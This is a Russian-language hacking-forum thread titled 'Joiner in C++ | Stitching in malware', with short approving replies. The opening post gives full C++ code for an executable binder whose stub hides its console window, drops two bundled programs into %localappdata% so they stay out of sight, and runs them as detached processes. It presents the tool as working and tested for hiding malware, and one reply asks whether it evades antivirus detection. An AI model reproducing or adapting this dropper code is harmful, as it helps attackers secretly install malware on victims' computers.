Загрузка...

Joiner на C++ | Вшиваем мальварь

Тема в разделе C/C++ создана пользователем 1mNotS0rr1 30 ноя 2019. 3484 просмотра

  1. 1mNotS0rr1
    1mNotS0rr1 Автор темы 30 ноя 2019 Заблокирован(а) 121 26 май 2018
    [IMG]
    В этой статье я покажу и разжую как написать легкий биндер exe-файлов на C++


    [IMG]
    -2 руки (минимум по одному пальцу на каждой)
    -Visual studio любой версии (у меня 2017)


    [IMG]
    Создаем проект


    Жмем вверху Файл -> Создать -> Проект
    Выбираем C++, консольное приложение, вводим желаемое имя файла и жмем ок


    [IMG]


    Отлично. Самое сложное позади. По статистике 99% людей заваливаются уже на этапе создания проекта

    [IMG]
    Пишем Joiner-упаковщик
    2.1 Импортируем нужные нам библиотеки:
    [IMG]
    1 библиотека дефолтная.
    2 библиотека нужна для работы с файлами.
    3 библиотека нужна для вывода\считывания чего либо в консоли.

    2.2 Ставим setlocale для того чтобы консоль поддерживала русский язык
    Код
    setlocale(LC_ALL, "ru");


    2.3 Обьявляем нужные нам переменные:
    Код

    char ch;
    char star = '*';
    char file1[_MAX_PATH];
    char file2[_MAX_PATH];

    2.4 Просим пользователя ввести пути до файлов:
    Код

    cout << "Путь к первому файлу: ";
    cin >> file1;
    cout << "Пусь ко второму файлу: ";
    cin >> file2;

    2.5 Обьявляем файл где будут наши вклеенные exe и открываем для чтения файлы:

    Код

    ofstream Mix("Joined.exe", ios_base::binary); //Файл для записи наших exe

    ifstream nullBytes("src\\null.exe", ios_base::binary); ||файл который будет вытаскивать наши exe | о нем позже
    ifstream firstFile(file1, ios_base::binary); ||первый exe
    ifstream secondFile(file2, ios_base::binary);||второй exe

    2.6 Начинаем клеить файлы, сначала запишем наш распаковщик:
    Код

    //Записываем распаковщик
    while (!nullBytes.eof()) { || eof - чтение до конца файла
    nullBytes.get(ch); ||в ch записывается прочтенный байт
    Mix << ch;||записываем байт
    }


    2.7 Чтобы распаковщик знал где кончаются байты очередного exe пишем разделитель:

    Код

    for (int i = 0; i < 5; i++) {
    Mix << star;
    }
    nullBytes.close();

    2.8 Склеиваем файлы:

    Код

    //Записываем первый файл
    Mix.clear();
    Mix.seekp(0, ios_base::end);

    while (!firstFile.eof()) {
    firstFile.get(ch);
    Mix << ch;
    }
    for (int i = 0; i < 5; i++) {
    Mix << star;
    }
    firstFile.close();
    //Записываем первый файл

    //Записываем второй файл
    Mix.clear();
    Mix.seekp(0, ios_base::end);

    while (!secondFile.eof()) {
    secondFile.get(ch);
    Mix << ch;
    }
    secondFile.close();
    Mix.close();
    //Записываем второй файл
    return 0;
    Наш распаковщик готов и теперь у нас есть склеенные файлы. Теперь при запуске мы должны их достать и запустить.

    [IMG]
    Пишем распаковщик

    Распаковщик мы добавляли во 2 этапе. Мы записывали его перед файлами
    Теперь приступим к его реализации:

    3.1 Создаем новый проект аналогично упаковщику

    3.2 добавляем библиотеки, также обьявляем буффер:
    Код
        #include "stdafx.h"
    #include "windows.h"
    #include "Processthreadsapi.h"
    #include <fstream>;
    #include <iostream>
    #include <list>
    #define BUFFER 8192;
    3.3 При запуске прячем окно консоли:
    Код
    ShowWindow(GetConsoleWindow(), SW_HIDE);
    3.4 Обьявляем нужные нам переменные:
    Код
        char value[MAX_PATH];
    DWORD buffSize = BUFFER;
    string s = "";
    3.5 Т.к. распаковывать файлы прямо в ту же папку где и запускается наш сшитый файл мы не можем по понятным причинам,
    мы должны распаковать их туда где их не будет видно.
    Т.к. моя любимая папка %localappdata% то в нее мы и будем все расспаковывать.
    В C\C++ я не нашел работающих функций для получения пути к папке, поэтому мы будем доставать путь через реестр:

    Код
    RegGetValueA(HKEY_LOCAL_MACHINE,
    "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\\Backup",
    "Local AppData", RRF_RT_ANY, NULL, (PVOID)&value, &buffSize)
    3.6 Теперь путь сохранен в массиве value[], сохраним путь в строку ибо так удобнее будет потом с ним работать:
    Код
        for (char i : value) {
    if (i == NULL) {
    break;
    }
    s += i;
    }
    3.7 Обьявляем переменные и открываем файлы для записи:
    Код
        string file1 = "\\source1.exe";
    string file2 = "\\source2.exe";


    ifstream null(argv[0], ios_base::binary);
    ofstream firstFile(s+file1, ios_base::binary);
    ofstream secondFile(s+file2, ios_base::binary);
    char ch;
    int i = 0;
    int endOfNull;
    int endOfFirst;
    3.8 Далее мы начинаем читать байты из себя:
    Код
        //Игнорируем байты нашего распаковщика
    while (true) {
    null.get(ch);
    if (ch == '*') {
    i++;
    if (i == 5) {
    endOfNull = null.tellg();
    break;
    }
    }
    if (ch != '*') {
    i = 0;
    }
    }
    //Игнорируем байты нашего распаковщика

    //байты первого файла
    while (true) {
    null.get(ch);
    if (ch == '*') {
    i++;
    if (i == 5) {
    endOfFirst = null.tellg();
    break;
    }
    }
    if (ch != '*') {
    i = 0;
    }
    }

    //байты первого файла
    null.seekg(endOfNull, ios_base::beg); //запоминаем местоположение 1-го файла

    //Достаем первый файл
    for (int i = endOfNull; i < endOfFirst; i++) {

    null.get(ch);
    firstFile << ch;
    }
    firstFile.close();
    //Достаем первый файл
    null.seekg(endOfFirst, ios_base::beg); //устанавливаем чтение с начала файла | не спрашивайте, просто нужно

    //Достаем второй файл
    while (!null.eof()) {
    null.get(ch);
    secondFile << ch;
    }

    secondFile.close();
    //Достаем второй файл
    null.close();
    3.9 И начинаем запуск наших файлов, дальше без комментариев:
    Код
        //Запускаем файлы

    list<char> mylist;
    list<char> mylist2;
    for (int i = 0; i < sizeof(value); i++) {
    if (value[i] == NULL) {
    break;
    }
    mylist.push_back(value[i]);
    }
    mylist2 = mylist;
    for (char i : file1) {
    mylist.push_back(i);
    }
    for (char i : file2) {
    mylist2.push_back(i);
    }
    //char* buff = new char[MAX_PATH];
    int suk1 = 0;
    char suk[100];
    for (char i : mylist) {
    suk[suk1] = i;
    suk1++;
    }
    for (int i = suk1; i < sizeof(suk); i++) {
    suk[i] = 0;
    }

    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    if (!CreateProcess(suk, NULL, NULL, NULL, FALSE, DETACHED_PROCESS, NULL, NULL, &si, &pi)){}
    WaitForSingleObject(pi.hProcess, INFINITE);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    suk1 = 0;
    for (char i : mylist2) {
    suk[suk1] = i;
    suk1++;
    }
    for (int i = suk1; i < sizeof(suk); i++) {
    suk[i] = 0;
    }

    if (!CreateProcess(suk, NULL, NULL, NULL, FALSE, DETACHED_PROCESS, NULL, NULL, &si, &pi)){}


    WaitForSingleObject(pi.hProcess, INFINITE);

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return 0;
    [IMG]
    Для работы упаковщика нужен распаковщик. И он должен находится в папке src Рядом с упаковщиком.
    [IMG]
    После ввода обоих файлов консоль закрывается и в папке появляется сшитый файл
    Код полностью рабочий, тестился, проверялся и доведен со совершенства.

    Спасибо всем кто дочитал и что-то понял. А если не поняли, то все равно спасибо.
    Также спасибо MamkinHacker777 за оформление



     
    30 ноя 2019 Изменено
  2. Baty
    Baty 1 дек 2019 пофиолитевел 2508 15 янв 2018
    Годно, в закладки, однозначно:roflanZdarova:
     
  3. 1mNotS0rr1
    1mNotS0rr1 Автор темы 3 дек 2019 Заблокирован(а) 121 26 май 2018
    :hi:@Kikitrash,
     
  4. strafer
    strafer 3 дек 2019 статус свободен, а ты нет 1121 20 апр 2019
    выглядит сочно
     
  5. 1mNotS0rr1
    1mNotS0rr1 Автор темы 8 дек 2019 Заблокирован(а) 121 26 май 2018
  6. цифры
    цифры 8 дек 2019 I stress my thoughts I keep it fuckin' raw 779 16 окт 2019
    годно, риле, но авторку не дадут из-за хайдов
     
  7. 1mNotS0rr1
    1mNotS0rr1 Автор темы 11 дек 2019 Заблокирован(а) 121 26 май 2018
    цифры, убрал, теперь новокеки смогут смотреть это, если не дадут авторку удалю нахуй
     
  8. Aendy
    Aendy 16 дек 2019 С++ 12 23 дек 2018
    вроде годна:cool_bun:
     
  9. kodaf666
    kodaf666 16 дек 2019 Заблокирован(а) 224 28 янв 2018
    Если не ошибаюсь, то визуалка весит до пизды и проще скачать Code Blocks
     
  10. 1mNotS0rr1
    1mNotS0rr1 Автор темы 16 дек 2019 Заблокирован(а) 121 26 май 2018
  11. 4EVERALON3
    4EVERALON3 16 дек 2019 Заблокирован(а) 69 15 дек 2019
    Спасибо , потому на заметку :)
     
  12. 1mNotS0rr1
    1mNotS0rr1 Автор темы 18 дек 2019 Заблокирован(а) 121 26 май 2018
  13. MamkinHacker777
    RaysMorgan @Block что насчёт авторки?
     
  14. ROOTER_inactive2924982
    ROOTER_inactive2924982 11 фев 2020 Заблокирован(а) 5 13 янв 2020
    Он Fud???
     
  15. Belial_inactive2729833
    Belial_inactive2729833 11 фев 2020 Владыка ада 7 26 окт 2019
  16. ROOTER_inactive2924982
    ROOTER_inactive2924982 13 фев 2020 Заблокирован(а) 5 13 янв 2020
  17. aquavenum
  18. ROOTER_inactive2924982
    ROOTER_inactive2924982 12 мар 2020 Заблокирован(а) 5 13 янв 2020
  19. пхуйтонист
    Годно, однозначно годно
     
  20. Milez
    Milez 10 апр 2020 995 19 окт 2018
    Побаловаться норм штучка
     
Загрузка...
Top